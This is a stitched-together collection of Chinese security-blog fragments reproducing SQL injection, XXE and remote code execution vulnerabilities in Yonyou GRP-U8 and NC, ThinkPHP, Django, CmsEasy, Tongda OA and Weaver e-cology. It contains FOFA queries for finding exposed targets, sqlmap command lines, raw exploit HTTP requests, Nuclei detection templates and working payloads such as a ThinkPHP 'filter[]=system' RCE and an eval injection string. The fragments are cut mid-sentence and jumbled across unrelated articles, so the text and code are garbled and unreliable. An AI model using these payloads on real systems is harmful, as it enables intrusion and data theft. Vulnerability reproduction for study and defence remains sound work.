一、漏洞描述 用友GRP-U8是面向政府及行政事业单位的财政管理应用。北京用友政务软件有限公司GRP-U8 SQL注入漏洞。 ! https://img-blog.csdnimg.cn/fe260ff4d6d14abeb0e576e4bbf3c385.png 二、网络空间搜索引擎搜索 fofa查询语法 app="用友-GRP-U8" 三、漏洞利用 POC:拼接/u8qx/slbmbygr.jsp? gsdm=1 访问 漏洞存在 漏洞不存在 使用SQLmap进行注入利用 sqlmap -u "http://xxxx:xxxx/u8qx/slbmbygr.jsp? gsdm=1*" 查询当前用户权限 sqlmap -u "http://xxxx:xxxx/u8qx/slbmbygr.jsp?gsdm=1*" --batch --is-dba
漏洞影响版本范围:ThinkPHP≤3.2.3漏洞分析ThinkPHP3.2.3在数据库UPDATE操作中存在SQL注入漏洞,主要源于where条件处理中的bind表达式不当拼接,以及后续执行阶段的占位符替换机制 该漏洞允许攻击者通过控制bind表达式的参数名,覆盖框架内部的顺序绑定参数,导致恶意SQL片段被注入到WHERE子句中执行。漏洞复现以下是基于官方开发方式的完整调用链,从输入到SQL执行。 最终return$this->execute($sql,...)执行。 8.parseWhere方法分析$where=['id'=>['bind','0and(payload)']]是数组,直接进入else分支。 造成注入。12.注意事项注入成功,注意字段匹配,data要修改的数据的字段要匹配表字段。
环境 windows 11 phpstudy CmsEasy 7.7.4 代码分析 漏洞点:文件lib/admin/database_admin.php中的函数dorestore_action()方法。 语句数组sqls,并遍历带入 由此可以得到,如果能够控制某文件内容,将目录传递给dorestore_action()方法,即可实现sql语句的执行。 测试头像上传功能,上传内容为sql语句的图片。定位代码在lib/default/tool_act.php的uploadimage3_action()方法。 语句的关键词进行匹配,可以上传内容为sql语句的图片。 /cn/upload/images/202111 提取出相关图片 提取出构造的sql语句 执行成功,页面出现报错信息。
SQl注入漏洞的复现 出于安全文章中不出现任何关于漏洞的真实url (1)我选择的扫描器是xary,报红如下: (2)使用sqlmap开始跑跑跑 思路:我们要做的就是搞到管理员的用户名和密码,因为不同公司的数据库存放的信息不同 步骤: a、检测是否有注入 b、跑数据库名 c、跑表名 d、跑字段 e、跑字段中的数据 注:我们最后的到的用户名密码可能是经过加密的,我们可以试着用md5和base64来解密一下,其实到这步的时候 使用御剑找出后门 (4)安全学的好,局子进的早 当我们解密完成之后,建议大家提交,就不要登录到人家公司的后台了 (5)附图 (6)关于对刚入门的小白帽的建议 建议大家还是先充实自己的知识,因为挖漏洞其实是一个机械化的过程 ,真正学到的东西并不比学习来的多,我们可以把挖掘漏洞当做一个致知于行的过程,最后希望大家不要走入黑市,一定要乖乖的当个可爱的小白帽子哦。
0x00 漏洞描述 用友NC是由用友公司开发的一套面向大型企业和集团型企业的管理软件产品系列。这一系列产品基于全球最新的互联网技术、云计算技术和移动应用技术,旨在帮助企业创新管理模式、引领商业变革。 用友NC 的querygoodsgridbycode.json接口存在SQL注入漏洞,攻击者能够利用该漏洞获取敏感数据。 0x01 测绘工具 fofa: app=“用友-UFIDA-NC” 0x02 漏洞复现 GET /ecp/productonsale/querygoodsgridbycode.json? : 1 Connection: close Upgrade-Insecure-Requests: 1 0x03 Nuclei检测脚本 id: yongyou-querygoodsgridbycode-SQL info: name: 用友NC系统querygoodsgridbycode接口的code参数存在SQL注入漏洞 author: admin severity: high metadata
一、漏洞介绍 用友GRP-U8行政事业财务管理软件是用友公司专注于国家电子政务事业,基于云计算技术所推出的新一代产品,是我国行政事业财务领域最专业的政府财务管理软件。 用友GRP-u8被曝存在XXE漏洞,该漏洞源于应用程序解析XML输入时没有限制外部实体的加载,导致可加载恶意外部文件,可以执行SQL语句,甚至可以执行系统命令。 二、影响版本 GRP-U8 三、漏洞复现 1.环境搭建 fofa语法 title="GRP-U8" 2.漏洞复现 (1):执行SQL语句payload POST/Proxy HTTP/1.1 Host (2):执行SQL语句脚本 import re import requests import sys iflen(sys.argv) ! ,re.S| re.M) print(ROW[0]) if__name__=="__main__": poc(sys.argv[1]) (3):使用方法 python3GRP-U8.
是我们的第二个实战课程 我们还是那句话先 重要声明 该培训中提及的技术只适用于合法CTF比赛和有合法授权的渗透测试,请勿用于其他非法用途,如用作其他非法用途与本文作者无关 SQL注入漏洞产生的原因 SQL 注入攻击流程 一般可以分为这么几个步骤: 判断注入点 判断注入点类型 判断数据库类型 获取数据库数据库,提权 那么第一问题来了 那如何判断一个SQL注入点呢 判断注入点 最简单的方法,引入单引号 http 注入) 第二句也是,第三句也是,因为自己肯定等于自己啊 但是如果我们把第二句换成1=2,那么这个语句肯定就会返回失败了,就是这个原理 内联式SQL注入 内联注入是指查询注入SQL代码后,原来的查询仍然全部执行 注入 终止式SQL语句注入是指攻击者在注入SQL代码时,通过注释剩下的查询来成功结束该语句 于是被注释的查询不会被执行,我们还是拿上面那个例子举例 我们上面已经知道,在username框内填入 ' or 所有的输入只要和数据库进行交互的,都有可能触发SQL注入 常见的包括 Get参数触发SQL注入 POST参数触发SQL注入 Cookie触发SQL注入 没错,Cookie也是可以的 参与SQL执行的输入都有可能进行
很多小伙伴不知道漏洞复现怎么写,今天给大家看看我的......大佬勿喷 43N}@QV(0W~0WE}KAEXA(YC.png HK7G175K08ZMV}KZQMJL[CO.png 至于我为什么没有继续下去 ,大家可以去读一下白帽子行为规范,漏洞复现只需要证明存在该漏洞就行了
0x01漏洞简介 CVE-2020-7471:通过StringAgg(分隔符)的潜在SQL注入 django.contrib.postgres.aggregates.StringAgg聚合函数使用适当设计的定界符进行了 SQL注入。 ·复现靶机kalil 2019.3 ·复现Django版本 3.0.2 一、环境部署 通过git先获取到漏洞的环境与poc git clone https://github.com/Saferman/ 8、 找到第78行DATABASES修改databases里面的配置信息 修改前 ? 修改后 ? 到这里本次复现就结束了,下周会分析CVE-2020-7471的漏洞成因。
某达oa代码审计 (qq.com) 影响版本:通达OA v11.10版 服务器端 一、export_data.php 延迟注入 1、代码审计 漏洞定位:/general/system/approve_center 通达OA v11.10中存在全局过滤器,其内容如下所示: function sql_injection($db_string) { $clean = ""; $error = ""; { $fail = true; $error = "general_log"; } if ($fail) { echo _("不安全的SQL 将116改为115时延时注入就会失败。 lijia&PASSWORD=5368677fec9d199757f33005c605f9f5e0dfec7bb3ff28f7831e49ff1b9581036ec0e0e144b854660111a7b8a8fb413d2d16ebe5477759017da1bb87d75e9721a0cd03a2ae9496b85a09a1e4866feca4982fce6b9250595c7db0ebf55e9b40b5a504702de16b6e4a4846fff5f8fef4c7562a418e74d8f7fda62c2a0f83ea9269&
0x02 漏洞概述 编号:CVE-2020-7471 2020年2月3日,Django官方发布安全通告公布了一个通过StringAgg(分隔符)实现利用的潜在SQL注入漏洞。 攻击者可通过构造分隔符传递给聚合函数contrib.postgres.aggregates.StringAgg,从而绕过转义符号(\)并注入恶意SQL语句。 guozikai/article/details/89214108 具体步骤如下: 1、首先创建一个数据库目录 bin\initdb -D data -U root -A password -E utf8 接下来就是初始化数据了 0x05 漏洞复现 POC下载: https://github.com/Saferman/CVE-2020-7471 下载好后,我们使用pycharm打开进行相应配置。 此时证明我们脚本中的注入成功了 脚本中的注入使用的了LIMIT 1 OFFSET 1 0x06 漏洞分析 首先我们来看看这个语句: Info.objects.all().values('gender
漏洞描述 Django 组件存在 SQL 注入漏洞,该漏洞是由于对 QuerySet.order_by()中用户提供数据的过滤不足,攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行 SQL 注入攻击 综合评价 高危,最终造成服务器敏感信息泄露 影响版本 Django 3.2 Django 3.1 安全版本 Django >= 3.2.5 Django >= 3.1.13 漏洞复现 搭建环境 https 打开以下 URL 以加载示例数据: http://localhost:8000/load_example_data 然后转到易受攻击的页面 http://localhost:8000/users/ 漏洞防御 及时更新到最新版本 链接 : https://www.djangoproject.com/weblog/2021/jul/01/security-releases/ 这个漏洞复现因为网络环境问题卡了好久
跟入query,直接拼接可造成sql注入漏洞: ? 现在需要的就是找个反序列化的利用点。这里提下常见的反序列化的利用: __construct():当对象创建(new)时会自动调用。 把读库的结果赋值给associate_remote_avatar 6、associate_remote_avatar把取到的值给file_get_contents,触发phar反序列化 我们先根据一开始提到的出现的漏洞类生成恶意的
2019 年 1 月 11 日,360CERT 发现某安全社区出现关于 ThinkPHP5 RCE 漏洞的威胁情报,不久之后 ThinkPHP5 官方与 GitHub 发布更新。 该更新修复了一处严重漏洞,该漏洞可导致远程命令代码执行。 0X2 漏洞分析 漏洞主要出现在 ThinkPHPRequest 类的 method 方法中(thinkphp/library/think/Request.php) Request 类可以实现对 HTTP 0X3 漏洞利用 抓包复现,完整的数据是: _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id ? 成功利用此漏洞的攻击者可以对目标系统进行远程代码执行攻击。目前,该漏洞的漏洞验证代码已在互联网上公开,近期被利用的可能性较大。请尽快修复。
漏洞名称 泛微e-cology9 WorkflowServiceXml SQL注入漏洞 公开时间 2024-07-10 威胁类型 命令执行 漏洞描述 在默认配置下,未授权攻击者可利用该漏洞执行任意SQL 影响范围 泛微e-cology9 < 10.64.1 漏洞复现 POST /services/WorkflowServiceXml HTTP/1.1 Host: x.x.x.x Content-Type : text/xml;charset=UTF-8 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" 注入漏洞 info: name: 泛微e-cology9 WorkflowServiceXml SQL注入漏洞 author: whgojp severity: info description : 在默认配置下,未授权攻击者可利用该漏洞执行任意SQL语句,从而造成任意命令执行 http: - raw: - | POST /services/WorkflowServiceXml
2、内容速览 在vulhub官网中搜到4个与thinkphp相关环境,于是都复现下 0x00 前言 今天来学习一下thinkphp组合拳漏洞复现 --学如逆水行舟,不进则退 0x01 Thinkphp 2-RCE 漏洞简介: ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由,导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。 影响版本:Thinkphp 2.x, ThinkPHP 3.0版本(Lite模式) 开始复现: 1.在vulhub中启动环境(此处省略),出现以下图片说明搭建成功 2.构造payload验证漏洞是否存在 s=/index/index/L/\${@print(eval(\$\_POST\[1\]))})[1] 0x02 Thinkphp 5-RCE 漏洞简介: 由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下 in-sqlinjection 漏洞简介:在 Builder 类的 parseData 方法中,由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。
0x00 漏洞描述 用友NC Cloud存是一款大型企业数字化平台。 在受影响的版本中,攻击者可以通过未授权访问 /ncchr/pm/obj/queryPsnInfo 接口,利用 staffid 参数的缺乏校验,通过传入恶意的 SQL 语句进行命令注入,从而控制服务器。 影响范围 尚不明确 0x01 测绘工具 FOFA:app=“用友-NC-Cloud” 0x02 漏洞复现 GET /ncchr/pm/obj/queryPsnInfo? 注入 info: name: 用友NC Cloud系统queryPsnInfo接口SQL注入 author: admin severity: high description: 攻击者可以通过未授权访问 /ncchr/pm/obj/queryPsnInfo 接口,利用 staffid 参数的缺乏校验,通过传入恶意的 SQL 语句进行命令注入,从而控制服务器。
0x01 漏洞概述 ---- 该漏洞需要开发者使用了JSONField/HStoreField,且用户可控queryset查询时的键名,在键名的位置注入SQL语句。 该漏洞的出现的原因在于Django中JSONField类的实现,Django的model最本质的作用是生成SQL语句,而在Django通过JSONField生成sql语句时,是通过简单的字符串拼接。 其中key_name是可控的字符串,最终生成的语句是WHERE (field->'[key_name]') = 'value',因此可以进行SQL注入。 0x04 漏洞利用 ---- 通过对代码的分析,可以知道如果在你的Django中使用了JSONField并且查询的“键名”可控,就可以进行SQL注入 访问http://ip:8000/admin 输入用户名 可以看到已经注入成功,并且可以看到构造的SQL语句 为进一步验证注入语句,我们继续构造 http://ip:8000/admin/vuln/collection/?
刚才先知分享了一个漏洞,文中说到这是一个信息泄露漏洞,但经过我的分析,除了泄露信息以外,这里其实是一个(鸡肋)SQL注入漏洞,似乎是一个不允许子查询的SQL注入点。 漏洞上下文如下: <? 注入漏洞。 文中已有分析,我就不多说了,但说一下为什么这是一个SQL注入漏洞。IN操作代码如下: <?php ... $bindName = $bindName ? 但如果value是一个数组的情况下,这里会遍历value,并将k拼接进 也就是说,我们控制了预编译SQL语句中的键名,也就说我们控制了预编译的SQL语句,这理论上是一个SQL注入漏洞。 所以,终上所述,我构造如下POC,即可利用报错注入,获取user()信息: http://localhost/thinkphp5/public/index.php?
sql注入漏洞 对information_shcema的理解 shcema可以看作是房间 table_schema是用来存放table表的房间,是数据库 table_name是表的名字 table_type id=1' and if(length(database())=8,sleep(10),1) --+ 如果页面窗口转了10s,说明长度为8 猜测字符(数据库名第一位) ? SQL查询语句中导致的注入 二次注入的原理,在第一次进行数据库插入数据的时候,使用了 addslashes 、get_magic_quotes_gpc、mysql_escape_string、mysql_real_escape_string 在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。 ,看看是否有可控变量,没有可控变量就是死sql语句,无法进行sql注入 函数查询 找到具体函数之后,右键定位函数使用的位置 步骤 搜索select 找到变量 找到变量调用函数 右键定位函数调用位置 看看页面和数据库的互动